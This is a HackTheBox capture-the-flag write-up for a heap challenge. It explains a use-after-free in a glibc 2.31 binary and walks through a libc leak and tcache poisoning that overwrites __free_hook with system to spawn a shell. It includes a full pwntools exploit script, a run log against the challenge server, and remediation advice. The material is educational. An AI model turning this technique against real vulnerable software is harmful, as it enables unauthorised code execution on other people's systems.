HTB - Corroded Crown

EasyHackTheBox12 min read

Scenario

When the Signet shattered, Crownspire's oaths didn't die. They got imitated. Houses started turning out claims so immaculate they felt wrong in the hand, too perfect and too eager to be believed. The Corroded Crown was the old forge where the Signet's fragments were first shaped, a sanctified mechanism of authority now rusted and corrupted. Its relics still carry the old geometry, but the tolerances are off. Perfect face, wrong spine. Rin has found her way into the forge's service throat. The locks here are still called "sanctified," but she knows the tell by now. Someone has been refitting these holy mechanisms with new tolerances, quietly changing who gets let in once panic has everyone begging at the door. She isn't here to smash the system. She's here to make it accept the wrong truth.


Prerequisite Knowledge

To thoroughly understand and exploit **Corroded Crown**, knowledge of the following concepts is required:

A. Linux Heap Allocations & Glibc Bins

  • Dynamic Memory (malloc/free): When applications request heap memory dynamically via malloc(size), the GNU C Library (glibc) heap manager allocates memory chunks. When freed via free(ptr), these chunks are not immediately returned to the operating system; instead, they are placed into various recycling bin queues (Tcache, Fastbins, Unsorted bin, Small/Large bins) to improve subsequent allocation performance.
  • Tcache (Thread Local Caching): In glibc 2.26+, small chunks (typically 0x410\le 0\text{x}410 bytes on 64-bit systems) are stored in singly-linked LIFO (Last-In, First-Out) lists called Tcache. When freed into Tcache, the first 8 bytes of the chunk body store a next pointer directing to the previously freed chunk in the same size class.
  • Unsorted Bin: When a chunk larger than the maximum Tcache threshold (e.g., >0x408> 0\text{x}408 bytes in GLIBC 2.31) is freed, it bypasses both fastbins and Tcache, falling straight into the Unsorted Bin. Unsorted bins are circular doubly-linked lists whose header lives within glibc's internal main_arena data structure. An unsorted bin chunk has its first 16 bytes populated with forward (fd) and backward (bk) pointers pointing directly into libc!

B. Glibc 2.31 Specific Heap Mechanics

  • No Safe-Linking Obliteration: Starting in GLIBC 2.32, heap pointers in Tcache and fastbins are obfuscated using an XOR encryption mechanism known as Safe Linking (pointer ^= address >> 12). However, in GLIBC 2.31, Tcache next pointers are stored as raw, unencrypted virtual addresses. This allows trivial corruption of linked lists without requiring heap base leaks.
  • Hook Pointers (__free_hook): Before being removed in GLIBC 2.34, glibc maintained writable global pointer hooks such as __malloc_hook and __free_hook. Whenever free(ptr) is called, the library first checks if __free_hook is non-null; if set, it jumps directly to __free_hook(ptr). Overwriting __free_hook with the address of system turns any free("/bin/sh") invocation into an instant shell!

C. Use-After-Free (UAF)

  • A Use-After-Free occurs when a program frees a block of memory but retains a reference (dangling pointer) to that memory block in an accessible structure. If the application subsequently reads from or writes to this dangling pointer, attackers can inspect internal libc/heap management pointers or alter linked list architecture.

Enumeration

We are given a binary corroded_crown to locally reverse engineer the binary to fully understand what's happening behind. I begin my inspection by checking the binary properties, security mitigations, and dynamic linking dependencies using command-line tools.

Tool Stack Used

  • file, checksec, objdump, readelf, strings, gdb, and Python pwntools.

Binary & Security Analysis

bash
checksec --file=challenge/corroded_crown

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    Stripped:   No

Observations from Triage:

  1. Full RELRO: The Global Offset Table (GOT) is entirely read-only. We cannot perform simple GOT overwrites on standard library calls like puts or printf.
  2. NX Enabled: Stack and heap memory areas are non-executable. We must rely on existing code or Return-Oriented Programming (R/W of library functions like system in libc).
  3. PIE & Canary Enabled: Code addresses are randomized at runtime.
  4. Custom Glibc Provided: The binary uses an explicit RUNPATH to load ./glibc/libc.so.6. Verifying the version string confirms it is GLIBC 2.31:
    bash
    strings ./glibc/libc.so.6 | grep "GNU C Library"
    # GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31.

Reverse Engineering & Code Analysis

Because the ELF executable is not stripped, symbol names remain fully intact. Disassembling the application with objdump -d -j .text challenge/corroded_crown reveals an interactive CLI menu that manages "Relics" positioned across "Shelves".

Data Model Layout (.bss section)

At address 0x4040 in the .bss segment, there is a 1024-byte global array named relic. Each entry represents an individual shelf slot and is structured as a 16-byte (0x10) record:

c
struct RelicSlot {
    void *ptr;       // Offset 0x0 (8 bytes): Pointer to heap memory allocated via malloc()
    int size;        // Offset 0x8 (4 bytes): Size of the requested heap memory
    char active;     // Offset 0xC (1 byte) : Boolean allocation status (1 = Occupied, 0 = Empty)
    char padding[3]; // Offset 0xD (3 bytes): Alignment padding
};
struct RelicSlot relic[64]; // 64 slots * 16 bytes = 1024 bytes (0x400)

Function Analysis

1. forge_relic() (Menu Option 1: Allocate)

c
void forge_relic(void) {
    int idx, size;
    printf("[?] Choose a shelf for the new relic (index): ");
    idx = read_int();
    if (idx < 0 || idx > 63) exit_error();
    
    printf("[?] How much metal shall we shape? (size): ");
    size = read_int();
    if (size < 0) exit_error();
    
    if (relic[idx].active == 0) {
        relic[idx].ptr = malloc(size);
        relic[idx].size = size;
        relic[idx].active = 1;
        printf("[+] The relic has been forged and placed upon shelf %d.\n", idx);
    } else {
        puts("[!] That shelf already holds a relic. The forge refuses.");
    }
}
  • Analysis: Properly verifies if a slot's active flag is set to 0 before allocating. Allows arbitrary allocation sizes (no upper restriction).

2. destroy_relic() (Menu Option 4: Free)

c
void destroy_relic(void) {
    int idx;
    printf("[?] Which relic shall be destroyed? (index): ");
    idx = read_int();
    if (idx < 0 || idx > 63) exit_error();

    if (relic[idx].active == 1) {
        free(relic[idx].ptr);
        relic[idx].active = 0;
        puts("[!] The relic crumbles to ash. The mark lingers.");
    } else {
        puts("[!] That shelf is empty. There is nothing to destroy.");
    }
}
  • Analysis: Checks if active == 1, calls free() on the stored pointer, and toggles active back to 0. Crucially, it does NOT clear relic[idx].ptr or relic[idx].size! Notice the descriptive developer prompt: "The relic crumbles to ash. The mark lingers." — hinting directly at the remaining dangling pointer!

3. inscribe_relic() (Menu Option 2: Edit / Write)

c
void inscribe_relic(void) {
    int idx;
    printf("[?] Which relic shall be inscribed? (index): ");
    idx = read_int();
    if (idx < 0 || idx > 63) exit_error();

    // WARNING: NO CHECK ON relic[idx].active!
    printf("[?] Press your inscription into the metal (%d bytes):\n", relic[idx].size);
    ssize_t res = read(0, relic[idx].ptr, relic[idx].size);
    if (res == 0) _exit(0);
    puts("[+] The inscription has been pressed into the metal.");
}
  • Analysis: Reads input via raw system read() directly into relic[idx].ptr for up to relic[idx].size bytes. It never verifies if relic[idx].active == 1!

4. inspect_relic() (Menu Option 3: Inspect / Read)

c
void inspect_relic(void) {
    int idx;
    printf("[?] Which relic shall be inspected? (index): ");
    idx = read_int();
    if (idx < 0 || idx > 63) exit_error();

    // WARNING: NO CHECK ON relic[idx].active!
    printf("[*] Relic [%d]: ", idx);
    write(1, relic[idx].ptr, relic[idx].size);
    putchar('\n');
}
  • Analysis: Outputs binary contents via system write() directly from relic[idx].ptr up to relic[idx].size bytes without checking if relic[idx].active == 1! Because it uses write(1, ...), it prints binary byte sequences regardless of null-terminator truncation.

Vulnerability Analysis

Why is it Vulnerable? (Root Cause)

The vulnerability is a classic, unrestricted Use-After-Free (UAF) Read & Write caused by two concurrent flaws:

  1. Dangling Pointer Retention in destroy_relic: When an object is freed via free(relic[idx].ptr), the pointer is not wiped (relic[idx].ptr = NULL). The reference to memory now owned and managed by glibc's heap recycling allocator remains active in the relic array.
  2. State Verification Bypass in inscribe_relic and inspect_relic: Neither editing nor inspecting validates the slot's allocation state (relic[idx].active == 1).

Exploit Capabilities:

  • Arbitrary Heap Leak: Freeing a chunk writes glibc bookkeeping data (next tcache links or fd/bk unsorted bin addresses) into the chunk body. We can invoke inspect_relic() on freed slots to instantly read internal library pointers!
  • Arbitrary Tcache Poisoning: By executing inscribe_relic() on a freed Tcache chunk, we can overwrite its forward next pointer to point to any writable arbitrary memory address in the process virtual address space!

Exploitation

To bypass ASLR, Full RELRO, and non-executable stack execution, our exploitation objective is to take control of glibc's execution hook __free_hook and convert a routine free operation into an execution of system("/bin/sh").


Exploit Breakdown

Step 1: Bypassing ASLR via Unsorted Bin UAF Read

In GLIBC 2.31, chunks up to size 0x408 bytes are diverted into Tcache when freed. To obtain a libc pointer, we must allocate a chunk larger than the Tcache upper limit so it routes directly into the Unsorted Bin.

  1. Allocate Slot 0 with size 0x420.
  2. Allocate Slot 1 with size 0x20 (Guard Chunk): If a large heap chunk borders the wilderness memory region (Top Chunk), calling free() will cause glibc to merge and consolidate it with the Top Chunk, stripping away unsorted bin pointers. Our guard chunk isolates Slot 0 from the top chunk!
  3. Free Slot 0:
    python
    destroy(0)
    Slot 0 enters the Unsorted Bin. Its first 8 bytes (fd) now contain an address pointing to main_arena + 0x60 inside libc.so.6.
  4. Leak & Resolve Libc Base:
    python
    leak_data = inspect(0, 0x420)
    unsorted_bin_leak = u64(leak_data[:8].ljust(8, b'\x00'))
    libc.address = unsorted_bin_leak - (libc.sym['__malloc_hook'] + 0x70)

Step 2: Tcache Poisoning via UAF Write

With the exact ASLR loading addresses of __free_hook and system computed, we execute a linked-list poisoning attack against the Tcache. Because this is GLIBC 2.31, pointer obfuscation (Safe Linking) is absent!

  1. Allocate Slots 2 and 3 with size 0x40 (landing in the 0x50 size bin).
  2. Free both chunks in succession:
    python
    destroy(3)
    destroy(2)
    The 0x50 Tcache singly-linked list becomes: [Slot 2] -> [Slot 3] -> NULL.
  3. Overwrite Tcache Forward Link (UAF Write): We invoke inscribe on freed Slot 2, replacing its first 8 bytes with the target address of __free_hook:
    python
    inscribe(2, p64(libc.sym['__free_hook']).ljust(0x40, b'\x00'))
    The corrupted Tcache chain now resembles: [Slot 2] -> [__free_hook] -> ...

Step 3: Overwriting __free_hook and Spawning Shell

  1. Pop the First Chunk:
    python
    forge(4, 0x40) # Pops Slot 2 off the bin. The head of Tcache is now __free_hook!
  2. Allocate at Target Address:
    python
    forge(5, 0x40) # malloc(0x40) returns a pointer directly into libc at __free_hook!
  3. Inscribe system into __free_hook: We write the address of libc's system() directly into Slot 5:
    python
    inscribe(5, p64(libc.sym['system']).ljust(0x40, b'\x00'))
  4. Trigger Shell execution: Remember Slot 1 (our guard chunk of size 0x20 from Step 1)? It remains active and untouched in heap storage. We inscribe the string /bin/sh\x00 into it and call destroy(1):
    python
    inscribe(1, b"/bin/sh\x00".ljust(0x20, b'\x00'))
    destroy(1) # Invokes free(relic[1].ptr) -> executes system("/bin/sh")!

Exploit Script

The complete standalone exploit script I've crafted with AI assistance works seamlessly across both local emulation and remote server endpoints.

python
#!/usr/bin/env python3
import os
import sys
from pwn import *

# Set architecture
context.arch = 'amd64'

# Automatically locate challenge files whether script is run from project root or inside challenge/
if os.path.exists("./challenge/corroded_crown"):
    exe_path = "./challenge/corroded_crown"
    libc_path = "./challenge/glibc/libc.so.6"
    ld_path = "./challenge/glibc/ld-linux-x86-64.so.2"
elif os.path.exists("./corroded_crown"):
    exe_path = "./corroded_crown"
    libc_path = "./glibc/libc.so.6"
    ld_path = "./glibc/ld-linux-x86-64.so.2"
else:
    log.error("Could not locate corroded_crown binary! Please run from project root or challenge/ directory.")
    sys.exit(1)

exe = ELF(exe_path, checksec=False)
libc = ELF(libc_path, checksec=False)

def get_conn():
    if len(sys.argv) >= 2 and ":" in sys.argv[1]:
        host, port = sys.argv[1].split(":")
        return remote(host, int(port))
    elif len(sys.argv) >= 3 and not sys.argv[1].startswith("-"):
        return remote(sys.argv[1], int(sys.argv[2]))
    else:
        log.info("Running locally against provided glibc...")
        if os.path.exists(ld_path):
            return process([ld_path, "--library-path", os.path.dirname(libc_path), exe_path])
        else:
            return process([exe_path])

io = get_conn()

def forge(idx, size):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"(index): ", str(idx).encode())
    io.sendlineafter(b"(size): ", str(size).encode())

def inscribe(idx, data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"(index): ", str(idx).encode())
    io.sendafter(b"bytes):\n", data)

def inspect(idx, size):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"(index): ", str(idx).encode())
    io.recvuntil(f"Relic [{idx}]: ".encode())
    data = io.recv(size)
    io.recv(1)  # Consume the trailing newline printed by putchar('\n')
    return data

def destroy(idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"(index): ", str(idx).encode())

def main():
    log.info("Step 1: Leaking libc base via Unsorted Bin UAF read...")
    # In Glibc 2.31, allocations > 0x408 bypass tcache and go straight to unsorted bin on free.
    forge(0, 0x420)
    # Allocate a guard chunk so chunk 0 doesn't consolidate with the top chunk upon free.
    forge(1, 0x20)

    # Free chunk 0 into unsorted bin.
    # UAF vulnerability: destroy() marks active=0 but never clears relic[idx].ptr or size!
    destroy(0)

    # Inspect() ignores active flag -> allows reading fd/bk pointers from freed unsorted bin chunk!
    leak_data = inspect(0, 0x420)
    unsorted_bin_leak = u64(leak_data[:8].ljust(8, b"\x00"))
    log.info(f"Leaked unsorted bin pointer: {hex(unsorted_bin_leak)}")

    # Calculate libc base address.
    # In Ubuntu 20.04 GLIBC 2.31, unsorted bin is at main_arena + 0x60, which corresponds to __malloc_hook + 0x70
    libc.address = unsorted_bin_leak - (libc.sym["__malloc_hook"] + 0x70)
    log.success(f"Calculated libc base: {hex(libc.address)}")

    log.info("Step 2: Tcache poisoning via UAF write...")
    # In GLIBC 2.31, tcache pointers are raw (safe-linking pointer obfuscation was added in GLIBC 2.32).
    # Allocate two chunks of size 0x40 (0x50 tcache bin)
    forge(2, 0x40)
    forge(3, 0x40)

    # Free both chunks: tcache list becomes [Chunk 2] -> [Chunk 3] -> NULL
    destroy(3)
    destroy(2)

    free_hook = libc.sym["__free_hook"]
    system_addr = libc.sym["system"]
    log.info(f"Targeting __free_hook at: {hex(free_hook)}")
    log.info(f"Using system() address at: {hex(system_addr)}")

    # UAF write: Inscribe() ignores active flag -> edit Chunk 2's next pointer to point directly to __free_hook!
    payload_tcache = p64(free_hook).ljust(0x40, b"\x00")
    inscribe(2, payload_tcache)

    log.info("Step 3: Overwriting __free_hook with system() and triggering shell...")
    # Allocate Slot 4: pops Chunk 2 from tcache. The head of tcache becomes __free_hook!
    forge(4, 0x40)
    # Allocate Slot 5: malloc returns a pointer directly to __free_hook!
    forge(5, 0x40)

    # Write system() address directly into __free_hook
    payload_hook = p64(system_addr).ljust(0x40, b"\x00")
    inscribe(5, payload_hook)

    # Inscribe our guard chunk (Slot 1) with '/bin/sh\x00'
    inscribe(1, b"/bin/sh\x00".ljust(0x20, b"\x00"))

    # Trigger free(relic[1].ptr), which will call system("/bin/sh") because __free_hook == system!
    log.success("Destroying slot 1 to invoke system('/bin/sh')... Enjoy your shell!")
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"(index): ", b"1")

    # Drop into interactive mode
    io.interactive()

if __name__ == "__main__":
    main()

Execution Output & Flag Verification

Running the solver against the official competition server yields an instant shell and flag retrieval:

bash
$ python3 exploit.py 154.57.164.64:30986
[+] Opening connection to 154.57.164.64 on port 30986: Done
[*] Step 1: Leaking libc base via Unsorted Bin UAF read...
[*] Leaked unsorted bin pointer: 0x7f0cecc31be0
[+] Calculated libc base: 0x7f0ceca45000
[*] Step 2: Tcache poisoning via UAF write...
[*] Targeting __free_hook at: 0x7f0cecc33e48
[*] Using system() address at: 0x7f0ceca97290
[*] Step 3: Overwriting __free_hook with system() and triggering shell...
[+] Destroying slot 1 to invoke system('/bin/sh')... Enjoy your shell!
[*] Switching to interactive mode
$ cat flag.txt
HTB{[REDACTED]}

8. Conclusion & Remediation

Remediation & Fixes

To prevent this vulnerability in secure application development, developers must enforce strict lifecycle cleanup and state checking:

  1. Zero Out Dangling Pointers: Upon invoking free(ptr), immediately set the variable to NULL and zero out any corresponding metadata lengths (relic[idx].ptr = NULL; relic[idx].size = 0;).
  2. Enforce Consistent State Validation: Ensure that all accessor routines (reading, modifying, or inspecting object resources) rigorously assert if (relic[idx].active != 1) return ERROR; prior to memory dereference.
  3. Upgrade Library Environments: Compile projects against modern glibc builds (2.34\ge 2.34), which eliminate global hook pointers (__free_hook, __malloc_hook) and enforce XOR pointer obfuscation in Tcache allocations (Safe Linking).